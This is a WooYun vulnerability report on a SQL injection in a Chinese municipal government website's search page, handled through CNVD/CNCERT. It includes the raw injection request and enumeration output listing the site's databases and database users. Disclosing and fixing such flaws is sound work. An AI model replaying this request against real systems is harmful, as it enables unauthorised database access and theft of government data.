当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148553

漏洞标题：铁岭市人民政府网站Sql注射，116个数据库

相关厂商：铁岭市人民政府

漏洞作者： 老实先生

提交时间：2015-10-22 11:52

修复时间：2015-12-10 16:50

公开时间：2015-12-10 16:50

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-22： 细节已通知厂商并且等待厂商处理中
2015-10-26： 厂商已经确认，细节仅向厂商公开
2015-11-05： 细节向核心白帽子及相关领域专家公开
2015-11-15： 细节向普通白帽子公开
2015-11-25： 细节向实习白帽子公开
2015-12-10： 细节向公众公开

简要描述：

铁岭市人民政府网站：http://www.tieling.gov.cn/
没有发现管理后台 所以没有getshell

详细说明：

POST /search.asp?table=tnews&n=搜索中心 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://**.**.**.**/
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 41
Pragma: no-cache
Cookie: ASPSESSIONIDSSTCQDAS=JGGDFAJDBCKEBNIBKPCLGMHO; _gscu_451275280=45406106w72tyl13; _gscs_451275280=45406106p7cz8l13|pv:1; _gscbrs_451275280=1; CNZZDATA1253321814=2010883184-1445405877-%7C1445405877
gjc=a%27&lm=title&Submit.x=30&Submit.y=11


参数：gjc

漏洞证明：

116个数据库：

web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
available databases [116]:
[*] aqj11
[*] bsdt_qhq
[*] bsdt_tls
[*] bsdt_xfx
[*] cjda
[*] ctcg
[*] ctrd
[*] DataBase_TieLingQingHe
[*] ds
[*] dsw
[*] DSystem
[*] ewgzjj
[*] fgw
[*] gcjsbjxt
[*] gfjj
[*] GoodWomenTalent
[*] hl
[*] hs
[*] hyjh
[*] infoload
[*] infots
[*] jw2011
[*] jzxh
[*] kp
[*] ldbzw
[*] lhzt
[*] ljjggw
[*] ljmjd
[*] ljxfx
[*] lkjxx
[*] lngd
[*] lnoa
[*] lnzw
[*] lsj
[*] master
[*] mercury2_news
[*] Mercury_V2
[*] model
[*] msdb
[*] ncpaq
[*] njj
[*] Northwind
[*] pubs
[*] rfb
[*] rmyh
[*] sjj
[*] SS403_qvzengfu
[*] SS4_tllyw
[*] SS4_tlqh
[*] syw
[*] tempdb
[*] tgcjs
[*] tl_rmyh
[*] tlcd
[*] tldaxxw
[*] tldhl
[*] tldj
[*] tlfx
[*] tlfzb
[*] tlghj
[*] tlgzw
[*] tlht
[*] tljx
[*] tlkp
[*] tlld_new1
[*] tlly2005
[*] tlly2011
[*] tllyw_ssp
[*] tllyxt
[*] tlmj
[*] tlnyjd
[*] tlpd
[*] tlqd
[*] tlqggaj
[*] tlqh
[*] tlqlgk
[*] tlqsw
[*] tlrd2010
[*] tlrdhy61
[*] tlrdhy64
[*] tlrdhy71
[*] tlsslj
[*] tlswdx
[*] tlswsj
[*] tlswzl
[*] tlszf2006
[*] tlwhw
[*] tlywtz
[*] tlzf_cg
[*] tlzs
[*] tlzx
[*] tnewlnnkj
[*] tQRF
[*] tXMK
[*] tXXSP
[*] tXXZX2009
[*] tyjc
[*] tzgs
[*] tzxgk_files_up
[*] uModify
[*] wgzjj
[*] wjj
[*] xfgaj
[*] xfzf
[*] xljk
[*] xmj
[*] xnc
[*] xxdp
[*] xy
[*] ygsy
[*] ylglc
[*] yxcsc
[*] yzq
[*] zh
[*] zxqy
[*] zys


数据库用户：

web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
database management system users privileges:
[*] 123
[*] BUILTIN\\Administrators
[*] ke8-pu5
[*] kp
[*] linlin2007
[*] linzhou
[*] sa (administrator)
[*] sun56
[*] sylt
[*] tlfzb
[*] tlslj
[*] tlzxqyadmin
[*] xxzxfgw001
[*] xy
[*] zhangweiadmin

修复方案：

过滤

版权声明：转载请注明来源 老实先生@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-26 16:49

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发对应分中心，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评价